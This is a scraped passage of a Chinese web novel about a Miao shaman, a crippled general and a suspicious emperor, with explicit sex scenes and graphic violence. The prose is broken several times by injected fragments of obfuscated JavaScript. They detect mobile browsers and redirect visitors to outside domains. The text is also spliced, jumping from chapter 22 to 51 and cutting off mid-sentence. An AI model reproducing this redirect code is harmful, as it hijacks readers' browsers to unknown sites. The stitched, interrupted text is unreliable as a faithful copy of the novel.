“其中很大一部分都只能在苗疆存活,那里距京都三千里,就算快马加鞭,运来也死透了,死物起不到任何作用。” 季渊:“……” 他眼皮不可抑制地跳了起来,面上浮现出温和的笑容:“所以大巫的意思是,只能把祁雁送到苗疆才行了?” “陛下圣明。” 季渊注视他良久,突然大笑起来,紧接着面色一沉:“给我拿下!” 话音刚落,立刻从殿外冲进来数名禁卫,反剪了苗霜的双手,粗暴地将他按倒在地。 “朕还以为你是真心帮朕,”季渊缓缓在他面前踱步,突然弯下腰来,面容在对方面前放大,阴沉笑道,“闹了半天,你竟是在帮祁雁逃离京都,等你们到了那苗疆,天高皇帝远,就任你们这对亡命鸳鸯兴风作浪,对吗?” 苗霜慢慢抬起头来,与他四目相对。 命蛊反噬的剧痛在膝盖触地的一瞬间到达了顶点,可他却连眉头也没有皱一下,虽然跪着,声音依然不卑不亢:“陛下这话好生没道理,我为何要帮祁雁?他可是率兵血洗我苗寨的罪魁祸首。” “那你又为何要帮朕?”季渊在他面前蹲了下来,“血洗苗寨是朕下的令,说罪魁祸首,是朕才对。” 苗霜突然笑了。 那笑容十分邪性,看起来颇有几分疯癫:“陛下错了,您不是罪魁祸首,是我的恩人。” 季渊饶有兴味地打量着他:“哦?” “自我被选中为大巫之日起,就日日活在款首的掌控之下,苗疆圣蛊每五百年现世一次,他算好了日子,提前进行了残忍的大巫选拔仪式,残害我的家人,我的朋友,我对他恨之入骨,陛下。” 他猩红的眼眸中涌起恨意,似乎欲将那人抽筋扒皮,吃肉饮血,面上的笑意却更深了:“陛下杀了他,让我从长达十几年的控制中解脱出来,我自然要感谢陛下。” 季渊挑了挑眉:“那你为何不感谢祁雁?” “他不过一个一无所有的将军,而您是万人之上的皇帝,”苗霜笑吟吟道,“既然要选,那就选最高的那个,既然要做,那就一做到底——我早跟您说过了,圣蛊是世间唯一我不能控制的蛊,既然苗疆已有个大巫,那又要圣蛊何用?它不过是款首用来制约我的工具。” “它不该在苗疆,只有在您手中才能让我安心,我亦不该在中原,我该取代款首掌管苗寨,您当您的大雍皇帝,我们井水不犯河水。陛下,你我二人才志同道合,圣蛊一事利己利彼,何乐不为呢?” “至于这祁雁么,就当是我对您献上的贺礼,与人结盟,总要有些诚意才行。” 这番话可为狂妄至极,押着他的禁卫听了都连连皱眉,怀疑他下一秒就要被拖出去乱棍打死。 可季渊神色不明地在他面前蹲了一会儿,突然又站起身来,抚掌大笑。 “好,好啊!”季渊的笑声在寝殿内回荡,“不愧是大巫,真是让朕刮目相看!” 他挥了挥手让禁卫们退下,亲手将苗霜从地上扶了起来,还帮他拍了拍衣服上的灰尘,笑道:“朕许久没遇到过像大巫这般合朕心意的人了,刚刚只是跟大巫开个玩笑,大巫不介意吧?” “怎么会呢?”苗霜也笑,“那陛下可是同意我将祁雁带回苗疆了?只可惜,我答应陛下要将祁雁做成人傀的,若是取出圣蛊,只怕要将他拆得七零八落,再拼起来就难了啊。” 他十分遗憾地叹了口气,季渊也很大度地摆了摆手:“不要紧,只要能取出圣蛊,不做人傀也无妨。” “朕准你将他带回苗疆,并派一支队伍护送你们,尽快启程吧。” 季渊说着回到书案边坐了下来,看了一眼侍候在旁边的祝公公:“你可是有话想说?” 祝公公全程噤若寒蝉,这会儿突然被点到,不禁心头一惊:“老奴……没、没什么话想说。” “是吗?可上次大巫来,你不是有很多话说吗?想说什么就说,你也是伺候朕十几年的公公了,朕还能罚你不成?这样吧,朕先赦你无罪。” 祝公公咽了口唾沫,被赶鸭子上架,不得不开口:“老奴……老奴……” “嗯?” 祝公公肥胖的身躯不停颤抖,突然双膝跪地:“老奴还是想说,放虎归山……后患无穷……” “你说得也对啊,”季渊叹了口气,颇为惆怅地敲了敲太阳穴,“那你说朕该如何呢?朕想要那圣蛊,又不想放归祁雁,鱼与熊掌,难以兼得啊。” 他又看向祝公公,似乎想到了什么主意:“不如,就由你护送祁雁去苗疆如何?你是朕最信任的人了,有你在,朕也放心些。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315541|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祝公公闻言浑身巨震,脸色一下子变得煞白,他膝行到了季渊跟前,惊恐万分地抱住他的腿,冷汗滚滚而落:“陛下!陛下饶命啊!老奴年老体衰,恐怕经不住这一路奔波!求陛下看在老奴侍奉陛下多年的份上,饶老奴一命啊陛下!!” “唉……”季渊深深叹气,“可朕最信任你,这事除了由你来办,其他任何人朕都不放心。这样吧,等你平安归来,朕一定好好赏你,也给你那两个干儿子加官进位,你看如何?” 听到“干儿子”几个字,祝公公像失了全身力气般,跌坐在地。 他眼中完全失去了神采,过了许久,才颤巍巍地磕头至地:“老奴……谢陛下圣恩!” “那草民也回去准备了,”苗霜说,“圣蛊在祁雁体内停留越久,就越难剥离出来,我早些将他带回苗疆,就能早些将圣蛊送到陛下手上。” 季渊一摆手,示意他可自行离去。 苗霜出了寝殿,在小太监的带领下离开了皇宫。 白蛇紧紧绞住他的手臂,骨髓深处涌起的痛楚快要让他维持不住自己的身形,这一次命蛊反噬得比上次更加剧烈,疼痛几乎将他的意识和躯体剥离,压制痛苦的蛊术已然失效,他完全是在靠意志力强撑。 他尽可能让自己看起来和平常无异,尽管已经离开了皇宫,但现在还不是放松的时候。 有人在跟着他。 一个,两个……不下五个人。 他们应该都是季渊的暗卫,隐匿在暗处无声无息,若不是他能和蛇通感,借用蛊王的感知力,根本察觉不到他们的存在。 苗霜没有立刻回将军府,而是悠哉悠哉地在大街上闲逛了起来,经过一个糖葫芦摊子,他在摊位前驻足。 “怎么卖的?”他问。 那小贩热情地说:“两文一串,三文两串,客官,您要多少?” 苗霜摸出三枚铜板:“给我来两串吧。” “好嘞!您是要糖多的,还是要糖少的?” “要糖多的,一串给我包起来。” 小贩把糖葫芦递给他:“谢谢惠顾!好吃您再来!” 苗霜离开摊子,边吃边往回走,糖葫芦的酸甜和嘴里的血气搅在一起,恶心得让人想吐,可他吃得却很香。 很快他吃完了糖葫芦,回到将军府,卢小满早已结束了训练,跑出来迎接他:“苗霜哥哥!” 苗霜将拎着东西的那只手背在身后,笑眯眯道:“小满想不想吃糖葫芦?” 卢小满高举双手,眼睛亮晶晶的:“想!” 苗霜变戏法般拿出了糖葫芦:“拿去。” “哇!谢谢苗霜哥哥!” 卢小满抓着糖葫芦欢天喜地地跑开,苗霜则回到房间。 祁雁从轮椅上抬头:“怎么才回……唔!” 体内的蛊虫毫无征兆地疼了起来,他眉头拧紧:“你又发……” 苗霜先一步堵住了他的嘴。 他坐到祁雁腿上,不由分说地吻了上来。 唇瓣上残留的甜味和着浓烈的血气一并闯进口腔,祁雁几乎分不清他嘴角的红色到底是山楂果肉还是血,出于本能的抗拒让他想要推开对方,手臂上青筋暴起。 突然,耳朵里响起怪异的声音,那感觉像是有虫子在他的耳膜边上振翅,难受得他偏过头去。 虫翅振动的频率尖锐又扭曲,刺激得他耳朵一阵阵疼,那频率忽高忽低,他竟隐隐从中拼凑出一句话来:“房顶有陛下派来的暗卫。” 祁雁浑身一滞。 他满脸震惊地看着对方,不知道是震惊于世上竟有如此离奇的传音方式,还是震惊于暗卫跟着苗霜到了家里。 这家伙进宫到底做了什么? “配合我。”那声音又在耳朵里道。 祁雁闭了闭眼,把心一横,伸手抚上对方的唇:“夫人吃了什么,嘴唇这么甜,竟也不说给为夫尝尝?” 20.第 20 章 趴在房顶偷听的暗卫们:“……” 虽然不是第一次来偷听了,但每次来都让人心情复杂。 有没可能暗卫也是人,虽然每天被陛下派来派去,工作比狗都辛苦,但至少不该真的吃狗粮。 眼睁睁看着曾经令匈奴闻风丧胆的大雍战神一点点沦落成没有夫人就活不下去的恋爱脑,即便是暗卫也要说一句世事无常。 苗霜听着那声“为夫”,眉头不自禁地挑了挑,再配合祁雁那仿佛吃了苍蝇的表情,更是让人心情大好,连虫噬的痛苦都减轻了几分。 祁雁被他催动的蛊虫搅得不得安宁,偏偏还要陪他演夫妻情深,心情实在差到了极点,抵在他唇边的手指不免加了点力:“夫人怎么不说话?什么好东西不能和为夫分享?” 苗霜唇边笑意扩大,用舌尖舔了舔他的指腹:“我记得你不爱吃甜。” “为夫何曾说过?只要是夫人给的,为夫都爱吃。” “那下次,这次没想起来。” “夫人都想着给那小孩带了,却没想起为夫,夫人究竟是故意的,还是不小心的?” 房顶的暗卫们面面相觑,快要被这股醋味冲晕,一个个眉头紧锁,捏着鼻子继续听。 苗霜不耐烦地啧了一声:“你怎么那么多事,不就是一串糖葫芦,想吃自己买去。” 祁雁忍着恶心继续道:“我只要夫人买来的糖葫芦,既然夫人不给,那我吃夫人可好?” “唔……” 祁雁闭上眼睛,吻住了他的嘴唇,厌恶又强硬地撬开了紧闭的唇齿,探入满是苦涩血腥气的口腔深处,搅和那条柔软灵活的舌。 体内的蛊虫躁动更甚,愈发强烈的疼痛让他难以控制自己的力道,他紧紧扣住了苗霜的后脊,熟练地解开他的衣服,露出白皙细腻的肩头。 滚烫的呼吸喷吐间,祁雁掐着他的腰身抬起又强行按下,苗霜不由自主地挺直了脊背,雪白脖颈后仰,露出清晰的喉结。 “哈……” 祁雁狠狠在上面啃了一口,以报他时不时折磨自己之仇,现在的苗霜毫无反抗能力,甚至没法将他推开。 这该死的苗人竟也有今天,总是把他折腾得死去活来,现在轮到他自己尝尝。 祁雁深黑眼眸中涌起报复的快意,报仇的速度不免更快了些,恨不得将这讨厌的家伙从中间劈开,厌恶与欢愉两种情绪同时聚焦在一处,他觉得自己大概也是疯了,不然怎么在蛊虫折磨的剧痛中还能立得起来。 喉结边的小痣悄然变红,破碎变调的声音不知谁的喉间滚出,又或只是耳朵里虫翅的振动,轮椅被用来做职责以外的事情,轮子在地面来回移动。 房顶的暗卫们表情复杂。 他们趴在这里都快冻僵了,里面竟还没结束。 “去床上……” “不要这样,我要看着你……” 暗卫们感觉自己的耳朵都脏了,不知是谁先忍不下去,冲同伴比了个“走”的手势,顿时一呼百应。 他们无声无息地离开了将军府,回宫复命。 季渊单手撑头躺在龙榻上,眼皮都没有抬一下,漫不经心地问:“如何了?” 暗卫单膝跪地:“回禀陛下,那苗疆大巫离宫以后,先是在街上闲逛,然后在路边小摊上买了两串糖葫芦,自己吃了一串,另一串带回将军府拿去逗小孩。” 季渊皱了皱眉:“他举止可有异常?” 暗卫摇头:“不曾发现。” 季渊沉吟片刻:“然后呢?” “然后他回房去找祁将军,祁将军一见他就开始……呃……”他表情一言难尽,似乎难以启齿。 这时,跪在他旁边的另一个暗卫挺直腰杆,面无表情正气凛然地说:“动手动脚。” “是,然后又为了一串糖葫芦……” “争风吃醋。” “后来就……” “干柴烈火。” “……” “不堪入目。” “……到现在应该还没结束,我们就回来复命了。” 季渊睁开眼睛,慢慢坐起身来。 暗卫们退到一边。 “难道他真没骗朕……”季渊摩挲着手腕上的红痣,在寝殿里缓缓踱步,“两次都没被命蛊反噬,他当真和朕是一条心?” 脚边忽然踢到了什么东西,竟是还瘫坐在地的祝公公,季渊有些嫌恶地看了看他,又换上一副笑脸,在他面前蹲身:“公公侍奉了朕十几年,朕记得少时不受先帝恩宠,这深宫内院,没几个人给朕好脸色看,只有公公从不嫌弃朕,朕要什么,公公就给朕买什么,这么多年了,朕一直记得公公的恩情。” 祝公公慢慢抬起头来,似乎又从他的话语间忆起了往事,十几年的时间匆匆而过,当年那个少言寡语的少年也成为了一代帝王。 他眼中渐渐涌上泪光,哽咽道:“陛下……” 季渊拍了拍他的手:“公公且振作些,你是这世上朕最信任的人了,待你回来,朕便准你出宫去,衣锦还乡,颐养天年。” 祝公公抹了一把眼泪,眼里终于有了些光彩:“陛下,老奴……” “快起来吧,”季渊将他从地上扶起,“早些准备,争取年前出发。” 祝公公张了张嘴,似乎欲言又止,最终还是什么都没说,步履蹒跚地离开了寝殿。 季渊瞥了一眼地上的那滩污渍和隐隐的尿骚味,不悦地一拂袖子,厌恶道:“晦气。你们还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14329733|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣着干什么,还不把这里清理干净?!” * 急促的呼吸声从床帐中传来。 祁雁死死将苗霜的两只手腕按在床头,跪坐在他身边,胸口微微起伏。 苗霜苍白的脸上浮着不正常的红晕,他虚弱地笑了一下,气息奄奄道:“将军还在等什么?趁人病,要人命……现在不杀我,可就没机会了。” 祁雁有些诧异地看他一眼。 “放心,他们已经走了,”苗霜的声音断断续续,冲他抬了抬下巴,露出白皙又脆弱的脖颈,挑衅道,“不动手吗?用我给你治好的手,掐死我,你不是早就想这么干了吗?” 祁雁却放开了他,理了理自己凌乱的衣服,冷淡道:“现在杀你,得不偿失,既然你能活着回来,就说明你的计划成功了,等我真逃出了京都,再杀你不迟。” 苗霜一哂:“你还真是……唔!” 话还没说完,他突然伸手捂住自己的嘴,一把掀开床帐,猛地吐出几口血来。 暗红的血沥沥落落滴在地上,聚起不小的一滩,不仅是血,还有没消化完的山楂,以及内脏碎块。 祁雁有些惊讶地看着他,眉心微蹙:“你到底干了什么?” 苗霜根本没力气搭理他,五脏六腑仿佛都被生生捣碎,煞白的脸上没有一丝血色,冷汗顺着额角的青筋一直淌到下颌,滴进血泊里。 剧烈的绞痛让他用力抓紧床沿,整个人弓成一团,浑身颤抖,牙关紧咬,才没让自己叫出声来。 过了许久疼痛才慢慢消退,难以形容的晕眩和虚脱接踵而至,让他差点一头从床上栽下去。 祁雁扶住了他,将手帕凑到他唇边,想帮他擦掉嘴角的血。 苗霜顿了顿,接过那手帕,推开了他的手。 不光嘴角是血,嘴里也全都是血,血腥味让他想吐,祁雁又给他倒了杯茶,苗霜就着他的手抿了一口,漱了漱嘴。 然后精疲力竭地倒回了床上。 祁雁神色复杂地盯着他看了一会儿,抬高音量:“来福,来福!” 来福正在外面打扫院子,听到呼唤声,迅速跑了进来:“将军有什……这是怎么了?!” 地上那一大滩血迹把他吓了一跳,祁雁冲他比了个噤声的手势:“不要声张,赶快把这里打扫干净,别让任何人看见。” 来福回过神来,连连点头,麻利地开始打扫地上的血迹。 等他收拾完离开,祁雁再次看向床上的人:“不打算跟我说说是怎么一回事吗?” 苗霜神色恹恹,没吭声。 “那你先睡一会儿,等醒了再说。” 苗霜冷笑。 祁雁给他掖了掖被角:“放心,我不杀你。” 21.第 21 章 苗霜闭上眼睛。 命蛊反噬让他疲惫不堪,也实在没有力气去管其他,很快就沉沉睡去。 他睡着以后,祁雁体内的蛊虫也平静下来,令人烦躁的疼痛终于彻底消失。 祁雁坐在床边,心情复杂地守了他一会儿,犹豫再三,还是决定帮他换身衣服。 他尽可能轻柔地去脱对方身上弄脏的衣服,苗霜感觉到被人摆弄,皱了皱眉,即便在睡梦中依然警惕性极强,一把锋利的骨刃从袖中弹出,直朝着祁雁颈间刺来。 祁雁偏头避过,捉住了他的手,慢慢掰开他的手指将骨刃夺下,放在一边。 同时有什么东西从苗霜衣服里掉了出来,祁雁低头看去,发现是那条白蛇。 白蛇看上去半死不活,掉在哪里就瘫在哪里,祁雁将它捡了起来,只感觉软塌塌的一条,连他的手腕都不缠了,和它昏睡不醒的主人一个模样。 要不是它还在缓慢地吐着信子,他都要以为这蛇已经死了。 祁雁将蛇也放在一边。 命蛊的状态和苗霜的状态一模一样,看来传闻说他们异身同命果然不假,只是在宫里究竟发生了什么事,居然能让他们伤成这样? 带着满心疑惑,祁雁去弄了些热水,帮苗霜擦了擦身,方才他在气头上,没个轻重,把对方搞得一片狼藉,红肿渗血泥泞不堪,大腿和腰际也有掐出来的青紫,看上去颇为凄惨。 祁雁也没想到会搞成这样,现在气消了,竟觉得有些愧疚,虽然往常他们也搞得十分激烈,但据他观察,苗霜的自愈能力远超常人,身上的伤口会在很短的时间内愈合,更不会形成瘀血。 他猜测应该是苗霜体内有能够修复伤口的蛊虫,但现在这些蛊虫好像也随着他的昏睡而休眠了。 祁雁帮他换上干净衣服,感觉他浑身冷得像块冰,虽说苗霜本就体温偏低,却也不该冷成这样,而且屋里其实很暖和。 祁雁索性也钻进被子,从背后抱住了他。 于是苗霜做了一个梦,梦到万魔峰烧起了大火,他指挥着手下魔众去救火,这帮蠢货却怎么也扑不灭那些火,他坐着的尊座被烈焰烤得滚烫,整个后背都要烧着了般,在梦里他竟也傻得不知道起来,又或者有无形的力量将他禁锢在原地……他又气又热,终于惊醒过来。 感觉到后背贴着某人的胸膛,那体温源源不断地透过衣服传来,他终于明白噩梦的根源在哪了,不禁扯了扯嘴角,试图挣脱。 却又被腰间箍着的手给勒了回去。 苗霜:“……” 他太阳穴不可抑制地跳了跳:“松手,你想热死我?” 祁雁也醒了,放开他道:“为夫明明是怕你冻着,才用身体给你取暖,夫人竟这般不知好歹。” 此情此景听着这“夫人”“为夫”,苗霜直肉麻出了一身鸡皮疙瘩,赶紧从被窝里爬出来,用怪异的眼神看他:“你能好好说话吗?少恶心人,那些暗卫没回来。” “为夫……我又不知道,防患于未然。” 苗霜瞪了他一眼,怀疑他是故意的,又没有证据,懒得再搭理他,理了理睡乱的衣服,发现身体竟不怎么难受。 ……祁雁居然会主动给他擦身换衣服?真是太阳从西边出来。 他收回了骨刃和蛇,下床喝水,给蛇也喂了点。 祁雁坐起身:“你身体没事了?” “这点小伤还奈何不了我,”喝过冷水,身上终于不热了,苗霜在桌边坐下,“陛下已经同意我们离京,你早点收拾东西吧,争取在年前从他眼前消失。” “我看你这不像小伤,”祁雁道,“你之前答应过我,如果你成功了就告诉我你的计划。” 苗霜有些不耐烦地啧了一声:“好奇心太强不是好事,将军。季渊这个人太过多疑,他到现在也没能完全信任我,我只是暂时为我们争取到一点喘|息的时间,至于方法……” 他捉起了还在喝水的蛇,玩了玩它的尾巴:“我向他进献过小白的血,有了这东西,我就不能再对他下蛊,且必须听命于他,否则就会遭到命蛊反噬。” 祁雁皱了皱眉:“所以你……” “我强忍了命蛊反噬来帮你,将军,这份恩情你报也得报,不报也得报,”苗霜笑吟吟地回到他身边,挑起他的下巴,“这辈子你都别想从我身边溜走。” 祁雁挡开他的手:“所以我们离开京都,下一步去哪儿?” “回苗疆。” “……回苗疆?” “那不然呢?”苗霜挑了挑眉,“将军还妄图回你的塞北不成?别做梦了,放你去苗疆已经是季渊能接受的极限,别挑三拣四了。” 祁雁眉头紧锁。 他倒也没想过还能再回塞北,只是去苗疆……那就完全成了苗霜的主场,他只怕要从京都这座囚牢跳进另一座囚牢,看苗霜的态度,恐怕不会轻易放他离开。 这苗人嘴上说着愿意和他共同谋划,一起对 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陛下对祝公公起了杀心。 这苗人当真有些手段,竟真的挑拨离间成功了。 祁雁沉吟片刻,把自己挪上轮椅,来到书案前开始写信。 陛下既然派了祝公公随行,那也一定会派一支队伍“护送”他们,他自己的人,只怕是一个都不能带。 他看了看屋子里才用了不久的新家具,想起才刚刚翻新过的训练场,才指点了没几天的卢小满,才熟络了一阵子的来福……这个将军府好不容易热闹起来,又要一切归零了。 这个年注定是过不成了,他们此去前路未卜,离京之前,还是先将府里的人遣散吧。 墨笔落在信笺上,遒劲有力,天色已晚,清冷的月色扫过案头,照亮那条被苗霜遗落的蛇,将它的鳞片映出柔和的光晕。 白蛇徘徊在砚台前,似乎在思考里面的墨究竟能不能吃。 祁雁轻轻吹干信纸上的墨迹,将写好的信塞进信封里,制止了要去砚台里舔舔的蛇,摸了摸它的脑袋。 白蛇亲昵地蹭蹭他的掌心,尾巴讨好地勾住他的手腕。 祁雁无奈一笑,将它拢进手心。 这一路上护送他们的都是陛下的人,他只怕要和苗霜相依为命。 ……还真是被这家伙绑死了。 22.第 22 章 第二天,宫里就送来了圣旨,说陛下宽厚仁慈,念在祁雁平叛苗乱有功,又为大雍抗击匈奴、戍边十余载的份上,赦免他谋逆之罪,并命他远赴苗疆,出任黔州观察使,监督考核当地官员。 在此之前,黔州从未单独设立过观察使,皆由当地刺史兼任,季渊这么一搞,算是又把祁雁推到了风口浪尖,这些苗人本就不服汉人管教,叛乱被祁雁平息,已经憋了一口气,再得知祁雁担任监察使,只能是恨上加恨,哪天再反一次把他杀了都不足为奇。 祁雁听到圣旨内容的时候,就已经猜到了季渊给他安排的结局,到时候他死在苗疆,将锅推给苗人,季渊又能借此机会打压苗众一波。 不论是他,还是苗霜这个大巫,一个都别想活。 祁雁脸上没什么表情,只平淡地接过圣旨:“臣领旨谢恩。” 来福送走了来宣旨的太监,又慌慌张张地跑了回来,焦急询问:“将军,您真的要去黔州?” 祁雁淡淡地嗯了一声:“昨晚苗霜不是告诉你了吗?” “夫人是说了,可是,可是……”来福急得眼圈发红,扑通一声在他面前跪了下来,“将军,要不您带上小人吧!黔州那么远,路上您和夫人肯定需要人照顾……” 祁雁轻叹口气,打断了他:“来福。” 来福眼泪汪汪地抬起头看他。 “我们这一去生死未卜,能不能回来还是未知数,或许今日一别就是永诀,你只是个小厮,离开将军府,再去找点别的活儿干,没必要跟着我们,把命都搭上。” “将军……” “若我有朝一日还能回到这京都晏安,定去找你回来,再让你当这府内管家,你看可好?” 来福拼命抹眼泪,却越抹越多,已是泣不成声:“我……小的……” 祁雁拍了拍他的肩膀,又看向卢方:“卢先生。” 卢方也有些哽咽,他上前一步:“将军。” 祁雁将早已写好的信递给他:“待我们启程,你也带着小满离开京都吧,我会让来福给你们准备好盘缠,等过段时间风波平息,你就拿着这封信去找信里提到的人,地址我也写在字条上塞进信封里了,他会教小满习武,不过此人性情古怪,若是他不开门,你就报上我的名字,多敲几遍。” 卢方颤抖着接过信封,深深一揖:“我替小女……谢将军!” 卢小满懵懵懂懂,显然还没理解他们说的话:“‘钱’州是哪里呀?祁哥哥和苗霜哥哥要去哪里?我们要去找谁?” 祁雁没有回答女孩的话,只转动轮椅回到房间。 “你完全可以不管他们,”苗霜正在收拾自己的那堆瓶瓶罐罐,“就把他们留在此处,反正皇帝赏了你那么多银子,随便拿出来一点,都够雇他们一辈子了。” 祁雁摇了摇头:“让他们留在府中总归不安全,我们一走,陛下指不定会做出什么事,不如就留给他一座空宅,他安心,我们也安心。” “随你,”苗霜将瓶瓶罐罐整齐码进箱子里,“既然要留给他一座空宅,那所有的东西我们都带走,药材、银子、布匹……好不容易从皇帝手里抠来的,可不能再被他拿回去了。” “好,银子给来福他们分一些,其他的都归你处理。” 一道圣旨让好不容易安顿下来的将军府再次紧张起来,来福刚开始置办的年货也搁置了,年味在紧锣密鼓的收拾当中烟消云散,赶在年关之前,祁雁踏上了远赴黔州的任途。 这日,车马停在将军府门前,府里的下人已经走得差不多了,只剩来福和卢方父女留到了最后。 马车是特制的,比寻常马车宽敞许多,可以直接将轮椅推上去,来福搭好了木板斜坡,帮忙推祁雁上车,看起来又有点想哭。 苗霜向府外望去。 他们的队伍总共三辆马车,前面两辆载人,除了他和祁雁所乘的这辆,另一辆辆坐的应该是祝公公,还带了两个小太监服侍他。 最后面的一辆马车负责拉货,他们的金银细软都放在上面。 苗霜挑了挑眉,也跟着跳上马车,闩死车门。 这辆特制的马车车厢内地面上开了道凹槽,祁雁将轮椅的轮子卡进其中,以免在路途中晃动,由于是冬天出发,马车四壁都粘了厚厚的毛毡,用来抵御严寒。 车厢里还算暖和,苗霜在他对面坐下,撩开车帘往外看:“前面那些是什么人?” 十几个骑兵在他们的队伍前开路,皆骑着枣红色的高头大马,重甲加身,看起来威风凛凛。 “禁军,赤麟卫,陛下的亲兵。”祁雁道。 “就是你说陛下把你调回京都时让你管的禁军?” “嗯,不过都是些生面孔,禁军分为许多支,赤麟卫只是其中一支,我也不是所有人都见过。” 正说话间,马车突然一震,马蹄声响了起来,带着队伍向前行进。 来福背着包袱追在马车后面,红着眼圈冲他们大喊:“将军!夫人!一路小心啊!” 苗霜朝他摆了摆手。 卢方抱着女儿站在将军府门前,也忍不住偷偷擦拭眼泪。 卢小满十分努力地冲他们挥手,祁雁最后看了一眼将军府的方向,厚重的大门在他们身后缓缓关上。 他微不可闻地叹了口气,收回了视线。 离开将军府,更多的赤麟卫从后方追赶上来,将他们的队伍夹在其中,苗霜有些诧异道:“这么大阵仗?护送这么几个人,要出动这么多禁军吗?” 祁雁没有吭声。 赤麟卫来到他们的车驾两侧,苗霜放下车帘。 这季渊真是对祁雁忌惮至极。 哪怕祁雁已经是个武功尽失的废人,连轮椅都离不开,季渊依然放心不下,甚至要派亲兵“护送”。 这帮人该不会要一直护送他们到苗疆吧? 茶已经沏好了,祁雁给苗霜倒了一杯:“夫人喝茶。” 苗霜回过神来,听着外面杂乱的马蹄声,顿时明白了他的意思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁雁耳朵里传来尖锐的虫鸣,苗霜捉住他贴在自己腰侧的手,按到了大腿上:“且走一步看一步,大不了举族逃进南照,远走高飞。” 祁雁皱了皱眉,写道:“这种话你也说得出口,你要是真敢反叛,我不介意和你玉石俱焚。” 苗霜啃了啃他的喉结,笑着捧住他的脸:“你答应跟我去苗疆,不就是想以身为眼,亲自监督我?观察使……这个职位季渊倒也赐对了,将军,你为大雍这般出生入死,舍身取义,若这帝位最后没能落在你手里,我都要替你喊冤。” 祁雁黑沉的眼眸注视着他,两人的视线无声交汇,爱|欲和敌意在这一刻达到了一丝微妙的平衡,终于被他逐渐加力的手指打破,朝着更深处捻去—— 忽然,前方传来的一阵嘈杂盖过了蛊虫振翅的声响,马车停了下来,祁雁动作猛地顿住。 苗霜迅速收了蛊虫,祁雁轻咳一声,嗓音带着些纵|欲过后的嘶哑:“发生什么事了?” 50-60 第51章 第 51 章 祁雁在今日死,祁雁在今…… 苗霜衣服都没换, 脸也没擦就下了山,现在看上去像是刚杀完人。 虽然事实也的确如此。 他提起手里拎着的盒子,微笑道:“贾忠杀完人畏罪潜逃, 我只好顺手分了个尸,不小心溅上的血, 不用放在心上。” 火把的光亮照亮了黑漆漆的盒子,盒子底部有少许液体渗出, 似乎是血。 苗民咽了口唾沫,完全没被安慰到,反而更紧张了:“杀……杀了谁?” “祁雁。” “?!” 他难以置信地看着那个盒子:“这里面难道是……那位汉人将军的人头?!” 苗霜点了点头。 “怎么可能,这……” “所以我才要你们找到贾忠,不论死活,”苗霜笑吟吟道,“毕竟他杀的不是别人,而是我的夫君。” 苗民急忙低下头:“大巫节哀。” “节哀倒谈不上,只是可惜了, ”苗霜没再继续说下去,“好了, 我还有事要忙,别在这里碍事了。” 苗民退到一边,放他们离去,出寨的路只有一条,苗霜又往前送了一段。 走到无人处,他开口道:“你们先去一趟黔州刺史府, 把贾忠的事告知刺史,最好能让他帮忙发通缉令,贾忠很可能已经逃出了深山, 一旦他离开苗寨,就不是我们能管的了,只能靠官府来抓人。” “明白,大巫放心吧。”明秋道。 苗霜给他们牵了两匹马,人头和包袱一左一右绑在马后:“好了,去吧。” * 三人离开后,吊脚楼里。 祁雁慢慢挪开扣在身上的竹筐,深深呼吸了一口深夜的冷风。 早春的天气春暖已至,但到了夜晚,依然漫上些残冬的寒,轻风打透他身上单薄的里衣,带来沁骨的凉意。 不算冷,但畅快。 皓月当空,皎白月色照在他身上,远处崇山峻岭匍匐脚下,长河在山间流涌,犹如呼啸而过的奔龙。 他第一次知道苗寨的风光是这样美,比他来的那天还要美。 此处绝非蛮荒之地,而乃人间仙境。 他仰头望着天上的月亮,唇角不禁浮现出一抹笑意,紧绷的肩线一点点放松,他放过了时刻绷直的脊背,任由它倚靠在墙上。 祁雁在今日死。 祁雁在今日活。 他忍不住低低笑起来,笑出了声,觉得此时手边只缺一坛酒,于是他伸手试了试旁边倒扣的竹筐,感觉还算结实,手臂猛地发力,借力起身坐了上去。 祁雁推开窗子,重新翻进了屋。 轮椅在混乱中不知被谁撞到了一边,离床有一段距离。 借着心头这股畅快,他再一次尝试起身,双腿还是难以支撑身体的重量,筋骨传来阵阵酸痛,但对此时的他来说这些都已不值一提,他艰难向前迈步,双腿沉重,心情却轻快,就这样踉跄着向轮椅接近,明明没有喝酒,他却好像已经醉了。 身体终究因为难以稳定而向前倾倒,但在即将摔倒的前一刻,他终于摸到了轮椅扶手,手臂的力量弥补了双腿的欠缺,他一个转身坐进轮椅中,轮椅因为惯性而向后滑去。 一侧的轮子被他固定,而另一侧被他转动,轮椅就这样调转了方向,向着屋外驶去。 院子里一片狼藉,贾忠的脑袋没了,但尸身还在,只不过那尸身也已经看不出是个人形,数不清的蛊虫在尸身上进进出出,啃食着所剩无几的残骸。 